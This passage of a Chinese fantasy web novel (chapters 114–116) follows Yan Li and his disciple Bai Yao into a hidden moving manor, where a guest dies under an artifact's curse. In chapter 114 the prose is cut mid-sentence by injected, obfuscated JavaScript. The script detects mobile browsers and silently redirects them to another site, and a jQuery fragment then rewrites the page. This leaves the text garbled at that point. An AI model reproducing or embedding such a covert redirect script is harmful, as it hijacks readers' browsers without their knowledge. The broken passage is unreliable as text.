晏离的目光与她短暂地相触,然后不着痕迹地移开,轻轻“嗯”了一声,然后将剩下的半块放回盘中。 怎么没反应? 白瑶偷偷拿起那半块,咬了一口,牙根一酸。呸呸呸,吐掉!怎么会这么难吃?白瑶一个激灵,皱眉可怜巴巴地望向晏离,在心里呐喊:师父,我不是故意给你下毒的,你听我说啊...... 待白瑶走开后,晏离的目光悄然落在她身上,看她将白面坨坨掐得细碎,扔在地上喂了那群助人为乐的鸡。 鸡群围上来吃得开心,咕咕咕咕叫起来。晏离心中那细微的波动化为乌有,轻轻叹了口气。 ——此后,领头鸡被白瑶赐名为山大王,住进山外云境过上了衣食无忧的日子。 114. 第 114 章 白衣翩然伫立在青翠的林间,清风越过山头轻轻扬起他身后的发丝,衣衫微动,草木的芬芳萦绕鼻尖。 忽然,他面前的空气一凝,白色身形如鸟雀轻盈地掠上枝头。刚才站着的位置落下一个人影,转瞬又逼了上来。白衣闻声而动,在后撤的同时,只用一手轻巧地化掉了对方的攻击。 如清风抖动树叶,轻柔得恰到好处。 对方还不死心,又带着仙力向他袭来,他反手一掌推开,闪现于对方的身后,在她背上几个大穴啪啪啪点了几下。对方忽然就像被卸了力一样像下栽倒,落地后踉跄几步才勉勉强强稳住身体。 “今日就到这里。”晏离背着光,从容不迫地摘下蒙在眼上的白绸,再解下系在右手的绳子:“让你一双眼一只手,有何感受?” 白瑶耷拉着脑袋,两条长辫无精打采地垂在胸前,有些气馁地哼道:”我服气。徒弟受教了。”师父就算只剩张嘴都有办法让人气死。 “今日的指点你回去好生琢磨。” 白瑶点头如捣蒜:“是是是,我回去一定反反复复仔细研究二十遍。” 白瑶跟在晏离身后往山外云境走去,脑海中还在回味适才的训练,几个片段在眼前闪现,她边比划边说:“刚才师父在我背上点了三下,大概是觉得我动作不到位。可是每次运功时,我能感觉到仙力随着静脉在身体里流动,那种感觉会让我分心......” “多静心感受。” “仙力不好控制,修炼时好像是仙力在推着我走,而不是我在引导它,这样会不会被仙力反噬?啊,我要是被反噬了,师父你怎么办呐.....咦,那是什么?”白瑶停下脚步,被不远处林间飘散的一缕紫烟吸引。 白瑶闻了闻空气中的气味,捂住鼻子:“怎么有一股奇怪的味道?” 晏离瞬间已经跃至跟前,那一抹尚未完全散去余烟倒映在他的眼眸中,让他微微敛眉,神色变得深沉。 “这是什么?”白瑶伸手去碰飘过的余烟,在指尖快要触碰到的瞬间被晏离拍开。 白瑶摸着拍红的手背,带着一丝委屈,不明所以地望向他,晏离解释道:“这是魔气。” 白瑶了然:“是魔族留下的?他们来这里做什么?”那时魔域与天庭、青丘关系尚可,三地之间虽然相距千里、通行略有不便,但也不是不能。白瑶没有上心:“也许是有魔族路过,不小心留下的。” “不。”晏离望着烟的来处:“山外云境远在群山之巅,四周无所依托,寻常不会有人取道于此。何况若只是路过,不会沾染上魔气。” 晏离虽如此说道,但不做停留,白瑶在原地东张西望道:“师父,不去看看吗?” 晏离没有回应,白瑶撇撇嘴,刚要提步,忽然一阵大风从林间横扫而至,将她整个身体抛了出去。眼看就要撞上一棵巨树,被远处的身影长袖一挥拦了下来。 与此同时,林间不知从哪儿飘来一片浓雾,不消片刻,四周变得朦胧虚幻。 大雾弥漫,晏离白色的身影在雾里愈加难以分辨,他提步向雾气深处走去,白瑶寸步不离地跟在他身后,唯恐一个晃神就跟丢了。 魔气在山下突然隐去,好似飞翔的鸟儿突然收起了翅膀悄然落在此处。气息戛然而止,幽深而神秘的景象却在眼前缓缓铺张开来。 “是这里吗?”白瑶轻声问。 面前的白衣突然停住:“听。” 忽有叮叮咚咚的泉水声坠入耳中,似珠玉跃动,煞是曼妙。白瑶从晏离身后探出头,定睛一看,面前的浓雾在这里渐渐散开,山野沟壑之间赫然出现了一座红色的木拱桥。 桥的两头雕刻着两只巴掌大的神兽,瞪着圆圆的眼睛,既庄严又可爱。 水雾从桥下源源不断地漫上来,向四周飘散,木桥像是穿着一身长尾纱裙。 那叮叮咚咚的流水声就是从桥下传来的。 “这里有人吗?”白瑶不禁问。 远处的雾霭中,突然亮起了一团幽幽灯火。 他们走近几步,隐藏在迷雾之中的建筑渐渐显现出端倪。小桥之下是百米悬崖,小桥的另一端凭空出现了一道巨大的铜门,门扇紧阖,周围却没有围墙。 门后荒山野岭,视线所及之处不过是山的另一侧,并无奇特之处。 为什么要在这里凭空建造一道桥和一扇门? 白瑶忽然身上一凉,攥紧了晏离的衣摆:“师父,我们要过去吗?” 晏离余光看了她一眼:“怕了?” 白瑶一顿,嘴硬嘀咕道:“我有什么好怕的?整个青丘未来都是我的,我想去哪里就去哪里。” 话音未落,晏离的衣摆就牵着她往前走了几步。白瑶走上小桥,流水在脚下淌过,传来哗哗水声。她低头向下看去,被深不见底的沟壑吓得心脏怦怦直跳,脸色发白,赶紧加快脚步走过去。 两人站在铜门前,抬头看到门匾上龙凤凤舞地写着:“虚云山庄”。 白瑶疑惑地将四周打量几圈,且不说她没有听过这座山庄的名字,这里哪儿有山庄? 铜门上悬着两只奇兽,奇兽双眼圆瞪,口衔铜环,带着一股庄严肃穆之气。 晏离上前敲了敲门环,然后站在一旁静静等候。 山里安静极了,耳边只有流水冲刷的声音。 须臾,门后传来一个低沉沙哑的声音:“有客人来了。 “进来吧。” 惊得白瑶睁大了眼睛,目光在晏离和门上流转。 晏离冷静地推开门,白瑶紧随其后。门在身后重重地阖上,将雾气隔绝在了外头。 眼前拨云见日,赫然出现了一个郁郁葱葱的庭院。青绿色的草地在脚下延伸,一条蜿蜒的石台小径通向院中独坐的凉亭,赤木游廊连接着不远处一座三层高的楼阁。小楼木质结构,造型精巧,房柱光滑发亮,柱与柱之间嵌着几只雕花木窗。 飞檐青瓦,檐角悬着一只金灿灿的铜铃。清风吹拂,铜铃发出清脆悦耳的声音。阳光穿过云层,折射的暖光泼洒在亭尖、廊顶和小楼的墙面上,将整座山庄衬托得安逸闲适。 门内别有洞天,门外竟然一丝一毫也无法窥视。 白瑶很是新奇,目光在四处逡巡,手中的衣摆牵扯,她回过神来赶紧放手。晏离略略打量了四周,眸光泛起一丝微动,向远处的小楼走去。 未走几步,就听到身后传来一声尖叫和急促的敲门声。 “咚咚咚!咚咚咚!” “来人啊!开门啊!” “快放我进去!” 是一个高昂的女声。 白瑶见小楼无人回应,犹豫之时又听到几声更加急促用力的敲门声。她自作主张把门打开,一个人影忽然扑到她身上,冲后头叫道:“滚开!离我远一点!” 白瑶感到莫名其妙,却见门后又钻出一个人。 那人披头散发,面色不正常的发红,穿着长袍马褂,拎着一只烧酒壶,衣角沾染了泛黄的酒渍。他摇摇晃晃地走过来,伸手指着先前扑上来的女人,一张嘴一股浓烈的酒气扑面而来。 “美人儿,跑那么快做什么?和哥哥聊聊呗。” 白瑶皱紧眉头向后退了几步,推开搂着她的女人一看,这女人生得婀娜多姿,体态丰腴,左眼角点缀着一只栩栩如生蝴蝶,眨眼睛时像在轻盈的挥动翅膀。一头卷曲的长发上挂着几颗小巧的铃铛,一晃动铃铛就发出清脆悦耳的声音。身上的绣花长裙独具一格,红的娇艳、紫的妖娆、粉的清丽,恍惚之间让人眼花缭乱。 确实是个艳丽的美人。 美人睨了男人一眼,眉眼间毫不掩饰地涌现厌恶之情,捂着鼻子道:“你给我滚远点,没听到吗?”她的声音像黄鹂唱歌,说着野蛮的话但却悦耳动听。 她撇开头,目光忽而落在晏离身上,神色怔愣了几秒,眼中迸发出雀跃的光辉,话音一转:“这位小哥哥姓甚名谁?是哪里人?可有婚配?” 晏离并未理会她,淡定转身继续向小楼走去,在转身时目光在白瑶身上停了一秒,白瑶赶紧跟了上去。 美人在身后叽叽喳喳道:“小哥哥,我叫房黎儿,你叫什么名字?你走这么快做什么?等等我呀。” 白瑶在心里冷哼一声,这招我几百年前就用过了,晏离才不会理你。 房黎儿看了白瑶一眼,目光在晏离与白瑶之间打量了一圈,若有所思道:“这是你的女儿吗?你该不会已经婚配了吧?” 白瑶一顿,骂道:“别胡说!他是我师父!” 那酒鬼也跟着他们向小楼走,吞吞吐吐地说:“美人,我姓孔名阳字君山,你可以叫我......君山哥哥......嗝......” 房黎儿被打断,恶狠狠地看了孔君山一眼:“你能不能别说话!离我远一点,臭死了!” 孔君山脸上扬起笑意:“哈哈哈哈,美人生气也好看。” 在他们向小楼缓步移动时,云层渐渐包裹住阳光,天色暗了下来,小楼内亮起了昏黄的灯。穿过三开间大门,厅堂陈设简洁,几张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137778|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实木椅端放在两侧。 房内早有几人。 有人不奇怪,但小楼内足足有五人就有些耐人寻味了。山庄位于荒山野岭,浓雾遮掩,寻常人根本不敢靠近,此时居然聚集了九人,顿时变得热闹起来。 屋内一上了年纪的老妪被一个约莫十来岁、神态青涩的男孩搀扶着,弓着身子颤颤巍巍地走到他们跟前,抬起松弛的、布满皱纹的眼皮,浑浊的眼睛在他们面上缓慢地扫了一圈,像是在一个一个地辨认:“你们是来借住的吗?”声音喑哑,看来刚才在门外听到的声音就是她的。 老妪不等他们回答,接着说:“我记得我只有两位客人。” 白瑶瞥了一眼身后的一女一男,解释道:“是我放他们进来的。他们来的很急,没有过问您的意思,可是不行?” 老妪微眯的眼睛看了她一眼,缓慢地说:“不是不行。只是小楼的房间有限,你们要挤一挤了。” 男孩生的乖巧俊俏,在他们对话时小心翼翼地搀扶着老妪,葡萄似的眼睛偷偷打量着几人,与房黎儿探究的视线一撞,脸上浮起红晕默默低下头。 老妪向房黎儿多看了一眼,不过神色未变,缓缓说:“我是虚云山庄的管事,你们可以叫我月婆婆。他是我的孙子灵夜,平时都是他照顾我的。过会儿让他带你们上楼。” 房内还有三个人,一个身形瘦弱的年轻人神态很是活泼,冲他们打了招呼:“我叫小峰,是个过路的信使。我对青丘的地形不太熟悉,本想抄近路节省时间,结果运气不好误入了这座山中,外面雾气太大我迷路了,没想到这里居然还有个山庄。婆婆人好,愿意收留我几日,等雾气散了再走。”他穿着朴实的粗布短袍,斜跨着一只看上去破破烂烂的布袋子,若是不开口毫不起眼。 其余两位一位身形魁梧、面容粗犷的叫做蜀平,坐在桌旁一人就占去了两个位子,像一堵墙。另一位高束长发、身着黑色竞装,眼神如鹰眼般犀利,抱剑靠在墙边,在他们对话时一直暗暗观察着屋中发生的一切。听小峰说他叫流逸。 “他们也是误打误撞进的山庄。”小峰朝白瑶他们挤挤眼:“要我说,还好这里有个山庄,不然进了山的人,不知能不能活着出去。山庄的主人也算做了件好事。” 月婆婆看上去很开心,眼角的笑意加深了皱纹,像树干上一圈圈的纹路。 入夜,她在灵夜的帮衬下做了几道小菜端上桌,招呼诸位客人围坐在桌边:“山庄没什么东西,只有自家种的些小菜。唉,难得有这么多人来,可得陪我这个婆子多说说话,平时这里可冷清喽。” 孔君山在门边吹了会儿凉风,脸上的红潮比先前刚进山庄时褪去不少,看了一眼桌上的小菜,笑道:“有小菜没酒可不行。” 灵夜怯生生地看了他一眼,小声道:“这里没有酒。” 孔君山似是不高兴地用筷子随意扒拉了几下菜,嘟囔了几句,没有人听清。 白瑶暗暗打量了一圈众人的外貌,看不出有何异样,提起一口气不知该往哪儿放。身侧正襟危坐的晏离冷沉着一张脸,宽广的云袖拢在膝上,并未动筷子。 她眼珠一转,故作好奇地对月婆婆说:“婆婆,这里为什么叫虚云山庄?这里只有您和灵夜吗?” 月婆婆点点头,顺手给白瑶夹了一筷子:“虚云是这座山庄主人的名讳。主人出远门了,不知道多久才会回来。我和灵夜在这儿替他守着这座山庄。” “我看这山庄似神工意匠,想来庄主应当是个慧心巧思的人,不过虚云这个名讳倒是从未听过。他是什么样的人?”房黎儿问。 月婆婆顿了一下,垂眸目光落在桌上某处,浑浊的眼睛更加晦暗不清,拧眉似乎在努力思忆什么,半晌嘴角带着一丝悲哀瘪了下来,让脸上松弛的皮肤又挤出了几道纹路:“我记得他模样俊俏,诗词歌赋样样精通,也很有想法,这座稀奇的山庄就是他的设计。那时不少客人远道而来,都想一睹他的风采,山庄的大门时常开启,众人在小楼吟诗作对各抒己见,热闹非凡。可惜他走了太多年,小楼不复从前,那些先前的记忆都模糊了。” 桌上并不相熟的几人听了月婆婆对山庄庄主的描述,眸光流转,神色渐渐出现了微妙的变化。那神色有惊讶、有迷茫、有疑惑、也有探究,不过很快又消散在眼中。 小峰托腮撑在桌上,蹙起眉头望着小楼横斜交错的房梁问:“山庄主人为什么离开?他去了哪里?” 月婆婆为难地摇摇头:“不知呢,这么多年他都没有一点消息。” 115. 第 115 章 房黎儿若有所思地眨眨眼睛,眼角的蝴蝶轻盈地煽动翅膀,轻巧地说道:“这山庄修得如此隐蔽,在门外居然看不到里头的亭台楼阁。这是什么法术?” 月婆婆寻着声音望向她,眯了眯眼似乎看不清楚,又摇了摇头:“主人仙术高强,在设计上别有用心,我哪能知道是什么法术。” 房黎儿对这个答案不甚满意,看向坐在一旁一言未发的晏离,唇角染上一丝笑意,问:“小哥哥,你知道那是什么法术吗?” 这一问立刻吸引了众人的目光,晏离样貌不凡,气质清冷出尘,进入小楼后几乎没怎么说话。虽然白瑶声称他们二人是在外修行的师徒,偶然路过这座山庄,但众人对他依旧十分好奇。 晏离承受着各色探究的目光,握着茶杯的手一顿,淡然道:“不知。” 房黎儿眼中隐隐有些不悦,问道:“真的不知吗?” 晏离不再重复第二遍,房黎儿嘴边挂着的笑渐渐隐没,碍于那个自称是徒弟的白瑶在晏离身旁盯着她,转而又望向不远处的流逸。 “这位哥哥,你又是怎么看的?” 流逸瞥了她一眼,犀利的眼神虽然不似晏离的冰冷,但却像一把利刃带着肃杀之气,猛然截断了她带有调戏的眼神,让她讪讪地收回目光。 一旁的孔君山发出一声轻笑:“你怎么不问问我呢?” 惹本就不快的房黎儿瞪了他一眼:“你知道才有鬼了。” “婆婆,你在这儿待了多久?”小峰的注意力在菜里,丝毫没有理会周遭微妙的变化,夹起一片炒菜塞入口中,眼中迸发出欣喜的色彩,赶紧又夹了一筷子。 月婆婆看他吃得开心,也露出喜色:“也许是三四百年,也许是五六百年,记不清了。孩子,慢点吃。” 见小峰动了筷子,余下几人纷纷夹了菜。 “婆婆这手艺倒是好,在这无人的山庄里真是浪费。”孔君山把披散的头发扎在脑后,露出他的脸来,居然不丑,细看眉眼还有一丝清秀。 蜀平尝了尝,用粗犷的声音说:“要是再来上一壶美酒岂不妙哉?哈哈哈哈!”风格迥异的两人一对视,竟然都从对方眼中看出了赞许之色。 “酒逢知己千杯少,今天我们能聚在这里也是缘分。既然没有酒那我们就以茶代酒喝个痛快。”孔君山举起茶杯一饮而尽。 蜀平性情豪爽,立刻与孔君山对饮一杯。余下几人默默拿起茶杯没有拂了他的面子。 孔君山的茶杯落在唇边,微微眯了下眼,用极其微弱的声音道:“虚云山庄......有些耳熟呢......” 夜深,灵夜带今日刚来的四位上楼去客房。他提着灯笼走在前头,灯笼散发的朦胧光团从幽暗的楼梯上飘过,他回头叮嘱道:“这里一共有六间房,二楼三间,三楼三间。其中四间房已住满,现在只下剩三楼的两间了。” 也就是说新来的四人要住在两间房内。 房黎儿一听,两眼放光看向晏离:"小哥哥,愿不愿意与我一间?” 白瑶一听,不等晏离反应,立马对房黎儿说:“你跟我一间!” 小楼三楼的窗棂浮现几点幽光,像是暗夜中虚晃的荧火。灵夜提着灯笼站在幽深的回廊尽头,对他们说:“这里晚上雾气重,大家若是无事,便不要出门了。” 众人不知有没有听进去,屋里响起了敷衍的几声回应。 白瑶与房黎儿住进了同一间房,房里的桌椅陈设很新,一张床榻上早已铺好了软垫和被褥。房内有两扇雕花窗棂,只是窗外的雾气渐浓,隐去了狡黠的月色,窗外一片黯淡。 房黎儿将窗户关上,娇嗔道:“窗户可得关紧了,别让雾气跑进来,这些精美的陈设若是沾上了湿气可就没用了。”她穿过一帘薄雾般的轻帐,走向床榻,指尖在柔软光滑的布面流连,眼中露出一丝欣赏,嘴角上扬,喃喃道:“山庄主人的品味真是不错。” 她施施然躺了上去,身体明显一松,在布料上蹭了蹭,对不远处看着她神情复杂的白瑶说:“小妹妹,来,让你半边躺会儿。”待白瑶走近了,她又翻身支起上半身对她挑了挑眉:“跟我说说,你那个冷若冰霜的师父是个什么样的人。” 白瑶脚步一顿,突然不想上前。 “他好像和我见过的男人都不一样,真有意思......"房黎儿望着房间一角陷入某种不可名状的思索中。 “他看见我居然毫无反应。你说,他在床上是不是也是这副油盐不进的样子?” "啪”,屋内燃起的幽光被白瑶掐灭了,她像是被晏离传染了一样冷冷地说:“歇息。” 楼外雾气弥漫,小楼被包裹在一片朦胧的乳白色之中,仿佛与世隔绝的孤岛。 夜里,白瑶迷迷糊糊地睁开眼睛,扫视一圈,才想起来自己身在何处。然后翻身摸了摸软垫,手上一顿,眼睛突然变得清明起来。 她身旁空无一人! 她坐起身在黑暗中四处看了看,房间空荡荡的,只有她一人。房黎儿去哪儿了? 白瑶又晕晕沉沉地躺下来,心想,她去哪儿关我什么事? 困意反卷,她的眼皮开始打颤,就在快要入睡时,耳边响起房黎儿婉转轻慢的声音。“你说,他在床上是不是也是这副油盐不进的样子?”,身体突然从床上弹了起来,然后意识才渐渐清醒过来。 夜深微凉,她的脸上发烫。 深更半夜,房黎儿该不会去找晏离了吧? 她望着房间的墙,想象一墙之隔的地方会发生什么事情。晏离与孔君山在一间屋子,若是房黎儿想找晏离幽会,应该找个没人的时候才对。白瑶不知为何有些烦躁,下床在原地转了几圈,看向那扇黑暗中的房门。 门框边缘融化在黑暗深处,像黑洞般散发着神秘的吸引力。 半晌,白瑶一个闪身出了房间,蹑手蹑脚来到晏离的门前四处张望。三楼的长廊上一片静谧,黝黑得望不见尽头,她立刻闪进了屋子。 门在身后轻轻关上,白瑶一抬眼,就见晏离衣着齐整地站在她眼前。 白瑶越过晏离的肩头,向房内看去,床上还有个睡得人事不知的酒鬼。 “出了什么事?”黑暗中,晏离轻声问。 白瑶困惑不已:“我睡醒发现房黎儿不在房里,我以为她来找你了。” “...... “为什么?” 白瑶说不上来,她总不能将房黎儿说的鬼话冲晏离说一遍。 没来找晏离就好,白瑶方才压下的困意又涌了上来,她打了个哈欠:“我瞎猜的,那她大半夜去哪儿了?” “算了,我回去了。”白瑶转身去开门,晏离突然从她头顶伸过手将门压上,在白瑶耳边低语道:“这是我的通讯口诀,有事直接与我通话。晚上待在房间里不要乱跑。” 白瑶眼珠一转,知道晏离定是发现了这里有不寻常之处,他们循着魔气而来,恐怕有魔族藏在这几人之中。但魔族来这与世隔绝的山庄做什么?山庄的主人又是谁?这座山庄藏着什么样的秘密?看来不能掉以轻心。 白瑶回房一觉睡到天亮,醒来时房黎儿在她身边呼呼大睡,好像昨晚的一切只是一场梦。 半晌房黎儿悠悠转醒,睁开眼睛就看到白瑶在打量她,她娇媚地勾了勾唇角:“小妹妹,你也被我的美貌折服了吗?” 白瑶抱起双臂,凝视着她:“你昨晚去哪儿了?” 房黎儿眼波一荡,从床上起身,理了理身上的衣袍:“我昨晚可是在屋里睡得好好的,你晚上出去做什么了?” 白瑶蹙眉,不悦道:“你这人怎么睁眼说瞎话?我昨晚明明看到你不在房里。” 房黎儿眯了眯眼,也不示弱:“是你晚上突然偷偷摸摸地出了门,我......" 楼下突然传来一声凄厉的尖叫。 两人一齐看向门外,房黎儿先一步起身,推开窗户,白光猛地挤进房内。 房间正对山庄西北,下面是院中的回廊与亭台,两人向下望去,没看到什么异常。她们匆匆下楼,才发现除了她们两个,其他人都已经聚集在小楼的入口处。 “怎么了?你们吵什么?一大早的遇见鬼了?”房黎儿蹙眉扫了一圈站在门口的几人,见他们没有回应,略带疑惑地拨开人群,突然倒吸一口冷气,发出一声尖锐刺耳的尖叫,比刚才那声更甚。 白瑶心中一惊,看了一眼伫立在前方的晏离,他神情凝重地站在门边,视线向外看去,侧脸清冷的线条融化在清晨熹微的光线中。 顺着他的视线望去,一个模糊的人影倒在小楼外的草地上。 白瑶收回目光,不敢置信地看了周围的人一眼,此刻众人的目光皆十分复杂。 她又向外看去,那倒下的人影身上像是被锋利的刀划破了很多道口子,干涸的深色液体浸湿了他的衣衫,散发出令人作呕的血腥气。头发散乱地覆在面上,裸露出的脖子、手臂上布满了错乱的红痕。从他残破的衣衫勉强可以分辨出,是昨天那个年轻人小峰。 灵夜与流逸正蹲在尸首旁查看,灵夜浑身发颤地轻轻拨开尸体面上附着的头发,呼吸一滞。尸首嘴巴微张,瞳孔扩散,眼珠快要脱框而出,惨白脸上被划了几道猩红的叉,肉片挂在白骨之上,简直惨不忍睹。 不久灵夜神情凝重地摇摇头,站起身说:“他死了。身上有多处伤口,死因不明。” 众人一片恍然。 白瑶咂舌,慌忙看 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几个男人想上前再查看时,横在草地上的尸体突然在众目睽睽之下化作一股尘烟,随着一缕清风飘向了空中,彻底消散在众人的视线中。 众人一时震惊无比,面面相觑不知发生了何事。 站在门边的蜀平忽然“嘶”了一声,皱眉喝道:"等等,这该不会就是......" 他话到嘴边,却是不敢往下说了。周围几人带着疑惑看向他,他的神情越发凝重起来。 “怎么回事?”孔君山今天将散发束起,整个人精神了不少,抱着双臂带着一丝探究望向蜀平。 蜀平看了他一眼,眉头皱的更紧,又低下头,喃喃道:“不是我不说......只是......" “虚云山庄的诅咒。”流逸站起身,目光看向他们沉声道。 “诅咒?”白瑶疑惑道。天界稀罕事儿多,但会用咒术的仙人极少,她还是头一次见。 房黎儿、孔君山眼中也略有迟疑,似乎和她一样,对这种事情并不了解。 “还是我来说吧。”月婆婆喑哑的声音从身后传来,她佝偻的身躯被灵夜搀扶着,从厅里一步一顿缓慢地从屋内的阴凉处走出来。 门外的白光爬上她满是沟壑的脸颊,她眯着眼睛向门外看了一眼,别过脸去,神色有些哀伤。灵夜轻轻拍了拍她的肩,挡住了她的视线。 月婆婆垂下眼睑,长叹了一口气,喃喃道:“昨晚,夜儿应该同你们说了,晚上不要出门。你们可还记得?” 房黎儿与白瑶对视一眼,两人心照不宣地没有说出昨晚发生的事情。 “晚上为什么不能出门?出门会怎样?”房黎儿问。 月婆婆深深看了她一眼,喑哑的嗓音答道:“说来话长。” 孔君山放下双臂,冲月婆婆愤愤地说:“喂,老婆子你能不能别卖关子?这到底什么鬼地方?" 灵夜瞪了他一眼,气呼呼地扶着月婆婆在桌边坐下。门口的几人渐渐走进屋内,围聚在她四周。 月婆婆抬起头,浑浊的眼中透出一丝隐匿的光辉:“虚云山庄,其实是一座移动中的山庄。” 移动的山庄?众人眼神一变,移动山庄闻所未闻,见所未见。 一时小楼陷入沉默。 月婆婆顿了一下,目光匆匆在他们身上溜过一圈,接着说道:“你们来时也看到了,山庄的入口非常奇特,只有穿过那扇门才能进入山庄。山庄的门每隔一个月会出现在天界不同的地方,且门只能从内打开。” 她又看了众人一眼,心满意足地从孔君山、房黎儿和白瑶眼中看到了惊异。 “你是说山庄的门每隔一个月会变换位置?”孔君山憋着笑说:“这怎么可能?那位山庄的主人该不会是找不到回来的路了吧?” 除了他之外,没有人能笑得出来。蜀平和流逸眼中多了一份思索,余光紧紧锁在月婆婆的身上。带着某种猜测,流逸问道:“山庄的大门为什么能够移动?” 月婆婆拧眉迟疑了半晌,似乎在纠结该不该说。孔君山冷哼了一声:“现在都有人死了,还犹豫什么?你总得让我们知道,这里是什么地方吧?” 蜀平点点头,笃定地说:“这座山庄一定没有这么简单。” 月婆婆叹了口气:“罢了,罢了,既然你们进入了山庄,就有权力知道这里会发生什么事情。” 月婆婆望向小楼的雕花梁柱,眼中充斥着复杂的神色,像是既留恋又畏惧。 “这座山庄确实不简单,这一切都和很多年前主人意外获得的一枚神器有关。这枚神器在天界算不得出名,或许你们都没听说过,但它却有一个其他神器都不具备的功能。 “它能够扭转乾坤。” 116. 第 116 章 “扭转乾坤!”蜀平眼中突然迸发异样的光彩,似乎有什么东西在他心底蠢蠢欲动。 扭转乾坤?白瑶一怔,还有这样的神器?她偷偷望向晏离,想同他说话,但他一脸冷色地立在最远处,对所听所闻似乎不为所动。 “这么说,这神器不仅能变换位置还能变换时空?哈哈,有意思!有意思!”孔君山舔了舔唇,眼中划过一抹精光。 流逸还站在门口,目光犀利地落在月婆婆身上,看得月婆婆侧过身去。他微微敛眉,似乎没有被这几话打动,幽深的目光还想要深究。 月婆婆继续道:“凡事自有利弊。主人发现神器能够变换时空,也会带来不幸。每次伴随着神器的出现,周围都会有无辜的人死亡。于是主人修建了这座与世隔绝的山庄,并将神器藏在了这里。远离了人群,也就不会再有灾难。 “然而,这枚神器在遇见主人之前,已经造成了太多的伤亡。那些无辜枉死的魂魄,带着巨大的怨气附着在神器上,形成了一道咒术。” 月婆婆抬起布满皱纹的脸,浑浊的眼珠木讷地转了半圈,冲他们幽幽说道:“只要夜里出了这栋小楼,就会被诅咒而死。” “这神器叫什么?”有人问。 月婆婆摇摇头:“我并没有见过,也不知叫什么。” “既然你没有见过,怎么能笃定小峰的死是神器所为?”房黎儿皱着眉头问。 月婆婆瞄了她一眼,低头咳嗽几声,似乎是说了太多话,声音变得更加喑哑:“你大可以不信。” 房黎儿一哽,不屑道:“我看是你在唬人。什么扭转乾坤,什么神器诅咒,小峰到底怎么死的还不一定呢。” 流逸走回小楼内,冷静问道:“之前也发生过这种事吗?” 灵夜站在月婆婆身旁点点头,抢着说:“有,都是些夜里乱跑的老鼠。”语气中流露出些许反感与不屑。 流逸犀利的目光在众人身上一一扫过,下颚紧绷,神情带着提防:“这么说,我们之中可能也有人是专门为了神器而来。” 其他人因为他的目光微微侧目,一时没有人接他的话。 晏离清冷的声音突然介入:“小峰的尸体为何会消失?” 灵夜抿了抿有些发白的嘴唇,说:“这就是诅咒的证据。这里死掉的人都会原地消失,他们的亡灵也会变成神器上附着的怨灵。怨灵越多就会越强大,所以夜里死去的人死相都很凄惨。” 看他的神色不像在哄骗他们,众人沉默了半晌,凝重的气氛被孔君山打破:“既然这里这么危险,那孔某就先行告辞了。” 他一个跨步从小楼的门槛越出去,大摇大摆、一身轻松地向大门走去。脚步越来越快,最后几步是一个健步飞扑到门上。他使劲向后拉着门环,但门纹丝不动。他越是使劲,门就越发沉重,他紧绷的神经突然垮了下来。 “这是怎么回事?为什么门打不开?” “开门啊!开门啊!放我出去!”孔君山扑在门上大力地敲打着,但门依旧纹丝不动。 小楼内赶来的几人看到此情此景也是一怔,流逸走过去试了试,神情凝重地转身对他们摇了摇头。 “为什么打不开?”白瑶问。 月婆婆被灵夜搀扶着一步一顿地走出小楼,望着孔君山还在不断敲打的背影,叹了一口气:“没用的。这门每逢朔月前后三日才能打开,昨天是最后一天。你要走,得等到二十七天后了。” 房黎儿睁大了眼睛,叫道:“什么?我们还要在这里待二十七天?” 与世隔绝的空间,每逢一轮月相周期二十八天才与世间产生连接。外面的人若想进来,需要里面的人允许。里面的人想出去,也必须在朔月前后三天。 孔君山向后踉跄一步,带着畏惧地看了一眼山庄的大门,咽了咽喉咙,故作镇定地走回来,嘴硬道:“不就是二十七天,晚上不出小楼不就行了,不出小楼就不会被诅咒。” 蜀平与他对视一眼,壮硕的身体因为哼笑轻颤,道:“没错,不出小楼屁事没有!” “可是为什么小峰昨夜会走出小楼?”房黎儿小声嘟囔道。 众人的目光暗暗在其他人身上打量,一种诡异的猜忌在四周弥漫。 ———————— 小峰一死,小楼内的气氛变得十分压抑。有人提议去小峰的房间看看,他的房间先前是蜀平住的,位于二楼走廊的尽头,朝着东边。从一楼的楼梯上去,要路过月婆婆和灵夜的房间,再拐个弯儿,一直走到头。也就是说,若是小峰昨晚是从楼梯下来,一定会路过月婆婆和灵夜的房间。 但他们说昨晚没有听到动静。 小峰身材瘦弱,若是想偷偷溜出去,不让人知道,也并非难事。 屋内陈设大抵与其他房间相同,桌椅摆放整齐并未动过,只有床上的被褥是拉开的,床单上还留有褶皱,看来他昨晚在床上躺过。房内的窗户开了一条缝隙,窗台上铺着一层均匀的灰尘,没有被破坏的痕迹。 “你们还记得他身上那个布袋吗?”蜀平突然问。 众人如梦初醒,是了,刚才他的尸身上好像没有那个破破烂烂的布袋子。 一番搜索后,众人在床下找到了那个干瘪的布袋。布袋里面只有几张票子和一张一指宽的白色纸条。 孔君山夹起纸片抖了抖,翻过来覆过去看了几遍,随意地丢给下一个人:“稀奇,上面什么都没写。” 纸片传了几手,无人知道这是什么。 “这个时候了,知道些什么都说出来,再憋着憋着就死了。”房黎儿抱起双臂,显然有些不高兴。 “你这话什么意思?不就一张纸条,难不成还能开花?”孔君山不屑地将纸条塞回布袋中,又喃喃道:“要真是重要的物件,他为什么不戴在身上?这么随意地放在袋子里,又扔在屋内,肯定是无关紧要的东西。” 蜀平点点头:“有道理,可能他夜里走的急,将这袋子落下了。” 房黎儿被这两人一唱一和搞得有些烦躁,锁着眉头问:“那你们说说,他昨天晚上为什么出去?” 房间又陷入了沉默,若非有事谁会大半夜从小楼偷偷摸出去? 众人心中隐隐约约有了一个假设:难道小峰是为了找神器? 白瑶疑惑道:“他怎么知道神器的事情?” “这件神器虽然隐匿许久,但外界并非没有传闻。”月婆婆压着声音说道:“传说,这件神器能够变换时空,便有人觊觎这件神器,这也是主人想要将它带离尘世的原因。这件神器一旦重新现世,必然会引起争夺,世间便会有一场浩劫。” 